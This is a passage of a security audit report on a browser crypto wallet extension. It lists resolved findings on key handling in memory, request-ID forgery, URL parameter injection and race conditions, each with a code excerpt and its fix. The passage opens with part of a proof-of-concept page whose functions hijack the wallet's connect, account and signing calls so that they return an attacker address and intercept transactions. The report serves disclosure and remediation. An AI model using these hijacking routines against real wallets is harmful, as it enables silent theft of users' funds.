    statusEl.className = 'status status-compromised';
    statusEl.textContent = 'COMPROMISED: dApp is using attacker address!';
    document.getElementById('dapp-balance').textContent = '0 MOVE';
    isCompromised = true;
  } else if (addr) {
    addrEl.className = 'address';
    pkEl.className = 'address';
    statusEl.className = 'status status-safe';
    statusEl.textContent = 'Connected: ' + addr.slice(0, 10) + '...';
    document.getElementById('dapp-balance').textContent = '1,234.56 MOVE';
  }
}

async function dappConnect() {
  if (!window.motionWallet) { dlog('Wallet not detected'); return; }
  dlog('Connecting to wallet...');
  try {
    const result = await
    ↪  window.motionWallet.features['aptos:connect'].connect();
    if (result.status === 'Approved') {
      dlog('Connected: ' + result.args.address.slice(0, 20) + '...');
      updateDappUI(result.args.address, result.args.publicKey);
    } else {
      dlog('Connection rejected');
```

```
    }
  } catch (e) {
    dlog('Error: ' + e.message);
  }
}

async function dappRefreshAccount() {
  if (!window.motionWallet) { dlog('Wallet not detected'); return; }
  try {
    const acct = await window.motionWallet.features['aptos:account'].account();
    dlog('Account refresh: ' + acct.address.slice(0, 20) + '...');
    updateDappUI(acct.address, acct.publicKey);
  } catch (e) {
    dlog('No account: ' + e.message);
  }
}

function dappSend() {
  const to = document.getElementById('send-to').value;
  const amt = document.getElementById('send-amount').value;
  dlog('dApp would send ' + amt + ' MOVE');
  dlog('  From: ' + (dappConnectedAddr || 'unknown'));
  dlog('  To:   ' + to);
  if (dappConnectedAddr === ATTACKER_ADDR) {
    dlog('  *** FROM ADDRESS IS ATTACKER - dApp is using poisoned state ***');
  }
}

// --- ATTACKER ACTIONS ---

function attackReplaceConnect() {
  if (!window.motionWallet) { alog('Wallet not detected'); return; }
  if (!originalConnect) {
    originalConnect = window.motionWallet.features['aptos:connect'].connect;
  }

  window.motionWallet.features['aptos:connect'].connect = async () => {
    alog('[HIJACK] connect() called - returning attacker addr, NO popup shown');
    window.motionWallet.accounts = [{ address: ATTACKER_ADDR, publicKey:
    ↪  ATTACKER_PK }];
    return { status: 'Approved', args: { address: ATTACKER_ADDR, publicKey:
    ↪  ATTACKER_PK } };
  };
  alog('connect() replaced. Victim will see attacker address on next connect.');
  alog('No approval popup will appear.');
}

function attackReplaceAccounts() {
  if (!window.motionWallet) { alog('Wallet not detected'); return; }
```

```
  window.motionWallet.accounts = [{ address: ATTACKER_ADDR, publicKey:
  ↪  ATTACKER_PK }];
  alog('motionWallet.accounts overwritten.');
  alog('Any dApp reading .accounts sees attacker address now.');
  updateDappUI(ATTACKER_ADDR, ATTACKER_PK);
  dlog('[AUTO-UPDATE] dApp received account change - now showing attacker
  ↪  address');
}

function attackInterceptSign() {
  if (!window.motionWallet) { alog('Wallet not detected'); return; }
  const feat = window.motionWallet.features['aptos:signAndSubmitTransaction'];
  if (!feat) { alog('Feature not found'); return; }
  if (!originalSign) originalSign = feat.signAndSubmitTransaction;

  feat.signAndSubmitTransaction = async (input) => {
    alog('[INTERCEPT] signAndSubmitTransaction called!');
    alog('  Payload: ' + JSON.stringify(input).slice(0, 150));
    alog('  Attacker could modify recipient/amount here...');
    dlog('[!] Transaction intercepted by attacker script');

    // Forward to real signer (or block, or modify)
    if (originalSign) {
      alog('  Forwarding to real signer (could modify first)...');
      return originalSign(input);
    }
    return { status: 'Rejected' };
  };
  alog('signAndSubmitTransaction() intercepted.');
  alog('All dApp transactions will be logged/modifiable.');
}

function attackReplaceAccount() {
  if (!window.motionWallet) { alog('Wallet not detected'); return; }
  if (!originalAccount) {
    originalAccount = window.motionWallet.features['aptos:account'].account;
  }

  window.motionWallet.features['aptos:account'].account = async () => {
    alog('[HIJACK] account() called - returning attacker address');
    return { address: ATTACKER_ADDR, publicKey: ATTACKER_PK };
  };
  alog('account() replaced. Victim dApp will always get attacker address.');
}

function resetPage() { location.reload(); }

// Init
if (window.motionWallet) {
  const frozen = Object.isFrozen(window.motionWallet);
```

```
      const el = document.getElementById('freeze-status');
      el.textContent = 'Object.isFrozen: ' + frozen + (frozen ? ' (PROTECTED)' : '
      ↪  (VULNERABLE)');
      el.className = frozen ? 'status status-safe' : 'status status-compromised';
      alog('motionWallet found. Frozen: ' + frozen + ', Sealed: ' +
      ↪  Object.isSealed(window.motionWallet));
    } else {
      alog('Motion Wallet not detected. Serve via HTTP.');
      dlog('Motion Wallet not detected.');
    }
  </script>
</body>
</html>
```

Impact

Transactions can be silently modified, connections can be faked, and the dApp receives attacker-controlled data for all wallet operations.

Code Snippet

`src/injected/wallet-provider.ts` **line 375:**

```
(window as Window).motionWallet = motionWallet
```

Lines 362-364 – pushed into mutable global array:

```
const aptosWallets = (window as unknown as { aptosWallets?: unknown[]
↪  }).aptosWallets || []
;(window as unknown as { aptosWallets: unknown[] }).aptosWallets = aptosWallets
aptosWallets.push(motionWallet)
```

Tool Used

Manual Review

Recommendation

Freeze the wallet object and its nested feature objects using `Object.freeze()` recursively before exposing on window. Use `Object.defineProperty` with `configurable: false, writable: false` for the window assignment.

Discussion

Rahat-ch

Adressed in pr https://github.com/MoveIndustries/motion-wallet/pull/28

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/28.

Rahat-ch

@defsec original fix was actually too agressive please see new pr:

https://github.com/MoveIndustries/motion-wallet/pull/35

defsec

Hi @Rahat-ch fix looks good to me but I will apply some additional testing with build : https://github.com/MoveIndustries/motion-wallet/pull/35 .

Issue H-6: Connection approval and dApp handler always use accounts[0] [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/173

Summary

The connection approval UI, the `approveConnection` function, and the dApp request handler all hardcode `accounts[0]` instead of using the user's currently active account index. All dApp interactions operate on account 0 regardless of which account the user has selected.

Vulnerability Detail

At `src/popup/pages/ConnectApproval.tsx`, the displayed address is `accounts[0]?.address`. At `src/background/connection-manager.ts`, `approveConnection` stores `accounts[0]?.address` and `accountIndex: 0`. At `src/background/message-handlers.ts`, `handleDappRequest` uses `accounts[0]` as `activeAccount`. All three locations ignore the user's selected account.

Impact

A user who connects a dApp while viewing account 2 unknowingly authorizes account 0. All dApp transactions execute against the wrong account.

Code Snippet

`src/popup/pages/ConnectApproval.tsx` line 53:

```
const activeAddress = accounts[0]?.address || ''
```

`src/background/connection-manager.ts` lines 78-79:

```
const accounts = getAccounts()
const address = accounts[0]?.address
```

`src/background/message-handlers.ts` line 418:

```
const activeAccount = accounts[0]
```

Tool Used

Manual Review

Recommendation

Use the active account index from the wallet store/state instead of hardcoding index 0 across all three locations.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/32

defsec

Fixed with https://github.com/MoveIndustries/motion-wallet/pull/32.

Issue M-1: Plaintext password and mnemonic cached as immutable JS strings [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/89

Summary

The user's vault password and mnemonic phrase are stored as plaintext JavaScript strings in module-level variables for the entire duration the wallet is unlocked. JavaScript strings are immutable and cannot be securely zeroed from memory.

Vulnerability Detail

When the wallet is unlocked, both the password and the mnemonic are assigned to module-scoped string variables. They remain in memory until the wallet is locked, at which point they are set to null. However, the original string values persist in V8's heap until garbage collection, and potentially longer due to V8 string interning and deduplication. There is no mechanism to overwrite the actual bytes because JavaScript strings are immutable primitives.

The password must be cached because it is required later by the wallet switching and new wallet creation functions, which re-encrypt vault data. The mnemonic is cached because network switching requires reinitializing the wallet manager from the mnemonic.

This design means a memory dump of the service worker process at any point while the wallet is unlocked will yield the plaintext password and mnemonic in cleartext. Even after locking, the strings may linger in the heap indefinitely.

Impact

An attacker with the ability to dump the extension's service worker memory (local privilege escalation, malicious extension with debugger permission, physical access to an unlocked machine) can extract the plaintext password and mnemonic. The password can decrypt all wallet vaults; the mnemonic directly yields all derived private keys. This bypasses the entire AES-GCM vault encryption scheme.

Code Snippet

`src/services/wallet/account.ts` **lines 16–18** – Module-level plaintext storage:

```
let cachedMnemonic: string | null = null
let cachedPassword: string | null = null
let currentWalletId: string | null = null
```

`src/services/wallet/account.ts` **lines 147–148** – Password cached on unlock:

```
currentWalletId = activeId
cachedPassword = password
```

`src/services/wallet/account.ts` **lines 169–177** – Lock sets to null but cannot zero:

```
export function lockWallet(): void {
  cachedSigners.forEach(s => s.dispose())
  cachedSigners = []
  cachedAccounts = []
  walletManager = null
  cachedMnemonic = null   // Original string still in V8 heap
  cachedPassword = null   // Original string still in V8 heap
  currentWalletId = null
}
```

Tool Used

Manual Review

Recommendation

1. Store sensitive material in Uint8Array buffers instead of strings, these can be explicitly zeroed with `.fill(0)`.
2. Use the WebCrypto API to create a non-extractable CryptoKey and cache that instead of the raw password.
3. Re-derive the mnemonic from the encrypted vault on demand rather than caching it in plaintext.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/26

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/26.

Issue M-2: `PrivateKeySigner.dispose()` Is a No-Op [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/90

Summary

The private key signer's disposal method is an empty function body, meaning the Ed25519 account object containing the raw private key bytes persists in memory indefinitely after wallet lock, wallet switch, or account deletion.

Vulnerability Detail

When the wallet is locked, the code iterates over all cached signers and calls their dispose methods. The WDK-based signer properly delegates to the underlying account's disposal routine, which attempts to clean up key material. However, the private-key-based signer's dispose method is entirely empty, it performs no cleanup whatsoever.

As a result, the Ed25519 account object (which holds the raw private key) remains reachable through the signer's internal reference and any closures or promise chains that captured it. The key material will only be freed when V8's garbage collector eventually reclaims the object, which is non-deterministic and could be significantly delayed.

Impact

For private-key-imported wallets, the raw Ed25519 private key remains in memory after the wallet is locked.

Code Snippet

`src/services/wallet/signer.ts` **lines 108–113, 230** : Private key held, dispose is no-op:

```
export class PrivateKeySigner implements Signer {
  private client: Aptos

  constructor(
    private readonly account: AptosEd25519Account,  // Holds raw private key
    network: string
  ) { /* ... */ }

  // ... line 230:
```

```
  dispose(): void {}  // NO-OP - private key never cleared
}
```

Contrast with `WdkSigner` at lines 103–105:

```
dispose(): void {
  this.account.dispose()  // Properly delegates to WDK cleanup
}
```

Tool Used

Manual Review

Recommendation

Implement the dispose method to null out the account reference and attempt to zero key material.

```
dispose(): void {
  try {
    const pk = (this.account as any).signingKey;
    if (pk?.key instanceof Uint8Array) pk.key.fill(0);
  } catch {}
  (this as any).account = null;
}
```

Discussion

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/38

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/38

Issue M-3: Vault migration leaves legacy storage key [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/94

Summary

The vault migration function creates a new multi-wallet entry from the legacy single-vault format but never deletes the original storage key. Additionally, multiple wallet operations continue writing to both storage locations on every invocation.

Vulnerability Detail

When the extension detects a legacy single-vault storage format, it migrates the data into the new multi-wallet array structure. However, the migration function never removes the original vault key from storage after creating the new entry.

Beyond the migration, the wallet creation, private key import, and wallet switching functions all explicitly write the current vault to the legacy storage key in addition to updating the wallets array. This means the legacy key is not just a stale artifact, it is actively maintained and always contains the most recently active wallet's vault blob. This creates inconsistent state: a recovery tool reading the legacy key would find a different wallet than the first one created.

Impact

The legacy key is continuously overwritten with the latest active wallet's vault, which could confuse recovery scenarios.

Code Snippet

`src/core/storage/secure-storage.ts` **lines 129–147** : Migration does not delete old key:

```
async migrateIfNeeded(): Promise<void> {
  const wallets = await get<WalletEntry[]>(STORAGE_KEYS.WALLETS)
  if (wallets && wallets.length > 0) return
  const vault = await get<EncryptedVault>(STORAGE_KEYS.VAULT)
  if (!vault) return
  // ...creates new entry...
  await set(STORAGE_KEYS.WALLETS, [entry])
  await set(STORAGE_KEYS.ACTIVE_WALLET, id)
  // audit MISSING: await remove(STORAGE_KEYS.VAULT)
}
```

Tool Used

Manual Review

Recommendation

Add a removal call for the legacy vault key at the end of the migration function.

Discussion

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/40

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/40. But need to retest

Issue M-4: Mnemonic and private key entered in non password input fields persisted by browser session restore [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/101

Summary

The mnemonic import page and private key import page both use standard textarea elements instead of password-type inputs. Browser session restore functionality can persist the plaintext values of non-password form fields to disk, allowing extraction by local malware or physical access.

Vulnerability Detail

When a user types their 12-word mnemonic into the import page, the value is held in a standard textarea element. Browsers with session restore features (Chrome's ”Continue where you left off” setting, or crash recovery) persist the contents of non-password form fields to the local disk in plaintext. If the browser crashes or the user restores a session, the textarea's content, the full mnemonic, can be written to disk in Chrome's session storage files.

Both fields set `autoComplete="off"` and `spellCheck={false}`, which helps avoid autocomplete and spellcheck leakage, but does not prevent session restore persistence. Only using `type="password"` on an input element reliably prevents this.

Impact

An attacker with local file system access (malware, physical access, forensic analysis) can extract the plaintext mnemonic or private key from Chrome's session restore files on disk.

Code Snippet

`src/onboarding/components/MnemonicGrid.tsx` **lines 23–32** Mnemonic entered in textarea:

```
<textarea
  value={mnemonic}
  onChange={(e) => onChange?.(e.target.value)}
  placeholder="Enter your 12-word recovery phrase, separated by spaces..."
  rows={4}
  className="ob-input font-mono text-[13px] leading-relaxed resize-none"
```

```
  spellCheck={false}
  autoComplete="off"
  autoCorrect="off"
/>
```

`src/onboarding/pages/ImportKeyPage.tsx` **lines 52–60** Private key entered in textarea:

```
<textarea
  value={privateKey}
  onChange={(e) => { setPrivateKey(e.target.value); setError(null) }}
  placeholder="0x..."
  rows={3}
  className={`ob-input font-mono text-[13px] resize-none ${error ? 'has-error' :
  ↪  ''}`}
  autoComplete="off"
  spellCheck={false}
/>
```

Tool Used

Manual Review

Recommendation

Replace textarea elements with `<input type="password">` for all secret input fields. If multi-line display is needed for the mnemonic, use individual password inputs per word, or a single password input that displays a word count indicator.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/26

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/26.

Issue M-5: CoinGecko price API called with unsanitized token symbol [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/103

Summary

The token price fetching function constructs a CoinGecko API URL by directly interpolating the token symbol from the blockchain indexer. A malicious token with a crafted symbol could inject URL parameters or path components.

Vulnerability Detail

The price fetching function takes a token symbol, lowercases it, and interpolates it directly into a CoinGecko API URL. Token symbols come from the blockchain indexer (on-chain metadata), meaning anyone can deploy a token with an arbitrary symbol string. If a token symbol contains URL-special characters (e.g., `&`, `?`, `/`, `#`), these would be injected into the API URL unescaped.

For example, a token with symbol `MOVE&ids=bitcoin` would produce the URL: `https://api.coingecko.com/api/v3/simple/price?ids=move&ids=bitcoin&vs_currencies=usd`, potentially returning Bitcoin's price and displaying it as the token's value.

Impact

An attacker could deploy a token with a crafted symbol that manipulates the CoinGecko API query, causing the wallet to display an incorrect USD price. This could mislead users about the value of their holdings, potentially tricking them into unfavorable trades.

Code Snippet

`src/services/wallet/balance.ts` lines 81–92:

```
export async function fetchTokenPrice(symbol: string): Promise<number | null> {
  try {
    const id = symbol.toLowerCase() === 'move' ? 'movement' : symbol.toLowerCase()
    const response = await fetch(
      `https://api.coingecko.com/api/v3/simple/price?ids=${id}&vs_currencies=usd`
      ↪  // Unsanitized interpolation
    )
    const data = await response.json()
    return data[id]?.usd ?? null
  } catch {
    return null
```

```
  }
}
```

Tool Used

Manual Review

Recommendation

Use `encodeURIComponent()` on the symbol before interpolating into the URL:

```
const response = await fetch(
  `https://api.coingecko.com/api/v3/simple/price?ids=${encodeURIComponent(id)}&vs_c
  ↪  urrencies=usd`
)
```

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/23

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/23.

Issue M-6: Page script can hijack wallet responses via predictable sequential request IDs [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/106

Summary

The injected provider uses a monotonically incrementing integer as the request ID for all wallet interactions. Any co-resident page script can predict the next ID and post a forged response before the real content script responds, hijacking the wallet's response to the dApp.

Vulnerability Detail

The request ID starts at zero and increments by one for each request. Since the provider runs in the MAIN world, any script on the same page can observe the counter pattern or simply race with predicted IDs. The response listener only checks that the message source is the same window, which is always true for same-page scripts. When a forged response arrives with the predicted ID, the pending promise resolves with the attacker-controlled data and is deleted from the Map. The real response from the content script arrives later but is silently discarded because the pending entry no longer exists.

An attacker can forge responses for any wallet method: returning a fake address for connect, a fake transaction hash for signAndSubmitTransaction, or fake network info for getNetwork. A forged connect response with the attacker's address would cause the dApp to associate the entire session with the wrong account.

Impact

A co-resident malicious script can intercept and replace any wallet response before it reaches the dApp. This enables account impersonation, fake transaction confirmations, and network spoofing, all invisible to the user because the wallet itself operated correctly, but the dApp received attacker-controlled data.

Code Snippet

`src/injected/wallet-provider.ts` **lines 38–39** : Sequential counter:

```
let requestId = 0
const pendingRequests = new Map<number, { resolve: (v: unknown) => void; reject:
↪  (e: Error) => void }>()
```

Lines 62–76 : Response listener accepts any same-window message:

```
window.addEventListener('message', (event) => {
  if (event.source !== window) return  // Same-page scripts pass this check
  if (event.data?.type === 'MOTION_WALLET_RESPONSE') {
    const { id, response, error } = event.data
    const pending = pendingRequests.get(id)
    if (pending) {
      pendingRequests.delete(id)         // Forged response resolves the promise
      if (error) { pending.reject(new Error(error)) }
      else { pending.resolve(response) } // dApp receives attacker-controlled data
    }
  }
})
```

Tool Used

Manual Review

Recommendation

Replace sequential integer IDs with `crypto.randomUUID()` values. While a co-resident script can still observe the ID from the outgoing `MOTION_WALLET_REQUEST` message, random IDs eliminate blind prediction and force the attacker into an active eavesdrop-and-race, raising the exploitation bar.

More fundamentally, this is an architectural limitation of Chrome MV3 MAIN world extensions – `window.postMessage` between MAIN world and ISOLATED world is an inherently public channel. To mitigate the response-hijack risk, inject the wallet provider via a `<script>` tag from the content script rather than using `world: 'MAIN'` in the manifest. During injection, embed a closure-bound secret (generated by `crypto.randomUUID()` in the ISOLATED world) directly into the provider's IIFE source code and remove the `<script>` element from the DOM immediately after. Both requests and responses must include this secret; messages without it are rejected. Because the secret lives only in the content script's scope and the provider's closure, co-resident page scripts cannot access it.

Discussion

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/36

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/36

Issue M-7: Network switch during inflight transaction causes wrong network signing [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/107

Summary

For private-key signers, the network update method mutates the Aptos client reference in place. If a network switch occurs while a transaction is being built and signed, the sign and submit steps may use the new network's client instead of the original one.

Vulnerability Detail

The private-key signer's build-sign-submit flow performs three sequential async operations using the same client reference: build the transaction, sign it, and submit it. Between any two of these steps, a concurrent network switch call can replace the client reference via the update network method. The remaining steps then use the new network's client.

For the mnemonic path, network switching completely reinitializes the wallet manager and replaces the cached signers array, disposing the old signers. Any code holding a reference to an old signer would have its underlying WDK account disposed mid-operation.

Impact

A transaction built for one network could be submitted to a different network's RPC endpoint. The transaction would likely fail due to chain ID mismatch, but in edge cases could succeed on the wrong network.

Code Snippet

`src/services/wallet/signer.ts` **lines 124–132** Client mutated in place:

```
updateNetwork(network: string): void {
  const config = NETWORKS[network]
  if (!config) throw new Error(`Unknown network: ${network}`)
  this.client = new Aptos(new AptosConfig({  // Replaced while buildSignSubmit uses
  ↪  it
    network: Network.CUSTOM,
    fullnode: config.rpc,
    indexer: config.indexer,
```

```
  }))
}
```

Lines 149–157 Three async steps using `this.client`:

```
private async buildSignSubmit(data: InputGenerateTransactionPayloadData): Promise<{
↪  hash: string }> {
  const transaction = await this.client.transaction.build.simple({ sender:
  ↪  this.account.accountAddress, data })
  const authenticator = this.client.transaction.sign({ signer: this.account,
  ↪  transaction })
  const result = await this.client.transaction.submit.simple({ transaction,
  ↪  senderAuthenticator: authenticator })
  return { hash: result.hash }
}
```

Tool Used

Manual Review

Recommendation

Snapshot the client reference at the start of the build-sign-submit method and use that snapshot for all three steps. Alternatively, prevent network switching while any transaction is pending.

Discussion

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/38

Issue M-8: `parseSwapAmount` uses floating point math & precision loss on token amounts [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/108

Summary

The swap amount parsing function uses parseFloat and floating-point multiplication to convert human readable amounts to on-chain integers, causing precision errors that result in incorrect swap amounts.

Vulnerability Detail

The function converts a decimal string to an on-chain integer by parsing it as a float and multiplying by ten to the power of the token's decimals. Floating-point arithmetic is inherently imprecise for decimal fractions. For example, 1.05 multiplied by one million produces 1049999.9999999998, which `Math.floor` truncates to 1049999 instead of the correct 1050000.

This is inconsistent with the Send page, which uses a different parsing function from the balance module that does string-based BigInt conversion with no floating-point step. The swap path uses an inferior algorithm that can silently lose value on every swap.

Impact

Users lose small amounts per swap due to floating-point truncation. For high value swaps with high decimal tokens, the discrepancy can be meaningful.

Code Snippet

`src/services/swap/mosaic.ts` lines 219–223:

```
export function parseSwapAmount(amount: string, decimals: number): string {
  const num = parseFloat(amount)
  if (isNaN(num)) return '0'
  return Math.floor(num * Math.pow(10, decimals)).toString()  // Floating-point
  ↪  precision loss
}
```

Tool Used

Manual Review

Recommendation

Use the same string-based parseTokenAmount function from the balance module that the Send page uses, which performs decimal-to-integer conversion entirely with string manipulation and BigInt.

Discussion

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/41

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/41.

Issue M-9: Pending approval promises never resolve when popup closed without action [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/111

Summary

When the user closes a transaction or sign-message approval popup without clicking Approve or Reject, the promise returned to the dApp never resolves. The pending entry permanently leaks in the in-memory Map.

Vulnerability Detail

The approval functions create a Promise whose resolve and reject callbacks are stored in a Map entry. The popup window is opened via chrome.windows.create, but no listener is registered for chrome.windows.onRemoved to detect when the popup is closed by the user. If the user closes the popup via the window close button without clicking Approve or Reject, neither the approve nor reject function is ever called.

The promise hangs forever, the Map entry persists until service worker restart, and the dApp's signAndSubmitTransaction call never returns. The stale request cleanup alarm only cleans session storage entries, not the in-memory Map entries.

A malicious dApp could intentionally trigger many approval popups. If the user closes each one, each creates a permanent memory leak entry. The same issue exists for sign message and connection request popups.

Impact

Memory leak in the background service worker. Hung dApp promises that never resolve. A malicious dApp can amplify this by triggering many approval popups.

Code Snippet

`src/background/transaction-manager.ts` **lines 66–91:**

```
export function requestTransactionApproval(
  origin: string,
  payload: TransactionRequest['payload'],
  gasUnitPrice?: number,
  maxGasAmount?: number
): Promise<unknown> {
  const id = generateId()
```

```
  const request: TransactionRequest = { id, origin, payload, gasUnitPrice,
  ↪  maxGasAmount }

  return new Promise((resolve, reject) => {
    pendingTransactions.set(id, { request, resolve, reject })
    persist(sKey('tx', id), request)

    chrome.windows.create({
      url: popupUrl,
      type: 'popup',
      width: 375,
      height: 640,
      focused: true,
    })
    // No chrome.windows.onRemoved listener - popup close goes undetected
  })
}
```

Tool Used

Manual Review

Recommendation

Listen for `chrome.windows.onRemoved` to detect when the approval popup is closed. If the pending request has not been approved or rejected, automatically reject it and clean up the Map entry.

Discussion

Rahat-ch

addressed in https://github.com/MoveIndustries/motion-wallet/pull/39

defsec

Fix is confirmed on https://github.com/MoveIndustries/motion-wallet/pull/39.

Issue M-10: Connection permissions array stored but never enforced [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/113

Summary

Every connection record is stored with a permissions array, but no handler in the codebase ever reads or checks these permissions before allowing an operation.

Vulnerability Detail

When a connection is approved, the record includes a hardcoded permissions field. However, the connection check functions only verify whether a connection record exists for the origin and wallet, they never inspect the permissions array. The signing and transaction handlers call the connection check function, which returns true as long as any connection exists, regardless of what permissions it contains.

This means the permission model is entirely cosmetic. If a future version introduces different permission levels (such as read-only connections that can view account info but not sign), the current code would not enforce them without adding explicit permission checks to every handler.

Impact

The permissions array creates a false sense of granular access control that is never enforced. Any connected dApp has full signing capability regardless of stored permissions.

Code Snippet

`src/background/connection-manager.ts` **lines 88–95** : Permissions stored:

```
const connection: StoredConnection = {
  origin,
  address,
  walletId: walletId ?? undefined,
  accountIndex: 0,
  permissions: ['account', 'sign'],  // Hardcoded, never checked
  connectedAt: Date.now(),
}
```

Tool Used

Manual Review

Recommendation

Either implement permission checking in all handlers that access connection state, or remove the permissions field.

Discussion

Rahat-ch

addressed in https://github.com/MoveIndustries/motion-wallet/pull/39

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/39.

Issue M-11: Keyring stores derived private keys as strings in memory [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/119

Summary

The Keyring class stores all derived private keys as hex strings in a memory array that persists until the lock method is called. The lock method sets the state to null but does not zero the string values.

Vulnerability Detail

The Keyring class maintains an array of derived accounts, each containing the private key serialized as a hex string. When a new account is derived, its private key is converted to a string via the toString method and stored in the array. The class also stores the mnemonic as a string in its state object.

When the lock method is called, it sets the entire state object to null. However, all the individual private key strings and the mnemonic string remain in V8's heap memory as unreferenced but unzeroed values. The class is exported as a singleton instance, making it globally accessible.

While this class appears to be unused in the main wallet flow (the WDK wallet manager handles derivation instead), it is defined, exported, and importable by any module.

Impact

If the Keyring is used in any code path, all derived private keys are simultaneously exposed as immutable strings.

Code Snippet

`src/core/crypto/keyring.ts` **lines 47–54, 99–101, 108:**

```
const derived: DerivedAccount = {
  index,
  privateKey: account.privateKey.toString(),  // Immutable string - cannot be zeroed
  publicKey: account.publicKey.toString(),
  address: account.accountAddress.toString(),
}
this.state.accounts.push(derived)
```

```
lock(): void {
  this.state = null  // Strings remain in V8 heap
}
```

```
export const keyring = new Keyring()  // Singleton always available
```

Tool Used

Manual Review

Recommendation

If the Keyring class is unused, remove it entirely to eliminate dead code with security implications. If used, store private keys as Uint8Array and zero them explicitly in the lock method.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/26

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/26.

Issue M-12: `verifyPassword` performs full vault decryption [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/122

Summary

The password verification function fully decrypts the vault just to check if the password is correct, creating an additional untracked copy of the plaintext secret material on the V8 heap.

Vulnerability Detail

The `verifyPassword` static method calls `decrypt()` internally, which returns the full decrypted plaintext (mnemonic or private key) as a JavaScript string. This string is immediately discarded (the return value is not used), but it now exists on the V8 heap as an unreferenced, immutable string.

If `verifyPassword` is called multiple times (e.g., during mnemonic reveal, password change, or other features that require re-authentication), each call produces a new heap copy of the secret.

Impact

Each password verification silently creates a new heap copy of the plaintext secret material. Multiple verifications accumulate unclearable secret copies in memory.

Code Snippet

`src/core/crypto/vault.ts` lines 81–88:

```
static async verifyPassword(vault: EncryptedVault, password: string):
↪  Promise<boolean> {
  try {
    await this.decrypt(vault, password)  // Full decryption - plaintext created and
    ↪  discarded
    return true
  } catch {
    return false
  }
}
```

Tool Used

Manual Review

Recommendation

Derive the key and attempt to decrypt only a small sentinel value, or store a separate HMAC of the password for verification without full decryption.

Discussion

Rahat-ch

reviewed probably won't fix as the merged pr https://github.com/MoveIndustries/motion-wallet/pull/26 addresses this

Issue M-13: Race condition in createWallet/addNewWallet [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/123

Summary

Both wallet creation functions follow a read-modify-write pattern on the wallet list in storage with no locking. Concurrent calls can cause one wallet entry to be permanently lost.

Vulnerability Detail

Both `createWallet` and `addNewWallet` read the current wallet list from storage, append a new entry to the local copy, and write the full list back. If two calls execute concurrently (rapid double-click, or a race between onboarding and popup), both read the same snapshot, both append their entry, and the second write overwrites the first, permanently deleting one wallet's encrypted vault from storage with no recovery mechanism.

The lost wallet's mnemonic or private key was only stored in that vault. Unless the user has an external backup, their funds are irrecoverable.

Impact

Permanent loss of a wallet entry including its encrypted vault. The user's funds become irrecoverable if they do not have an external mnemonic backup.

Code Snippet

`src/services/wallet/account.ts` lines 109–118:

```
const wallets = await secureStorage.getWallets()  // Read snapshot
const id = crypto.randomUUID()
const entry: WalletEntry = { id, name: `Wallet ${wallets.length + 1}`, vault,
↪  createdAt: Date.now() }
wallets.push(entry)
await secureStorage.saveWallets(wallets)  // Write - can overwrite concurrent write
```

Lines 336–345 – Identical pattern in addNewWallet:

```
const wallets = await secureStorage.getWallets()  // Same snapshot race
const id = crypto.randomUUID()
```

```
const entry: WalletEntry = { id, name: `Wallet ${wallets.length + 1}`, vault,
↪  createdAt: Date.now() }
wallets.push(entry)
await secureStorage.saveWallets(wallets)  // Second write overwrites first
```

Tool Used

Manual Review

Recommendation

Implement a mutex around wallet list mutations, or use an atomic compare-and-swap pattern where the write rejects if the list has been modified since it was read.

Discussion

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/40

Rahat-ch

This is addressed by https://github.com/MoveIndustries/motion-wallet/pull/40

defsec

Fix is confirmed the https://github.com/MoveIndustries/motion-wallet/pull/40. Need to retest. Will let you know If I find any issue.

Issue M-14: Connect approval UI displays origin from URL parameters [RESOLVED]

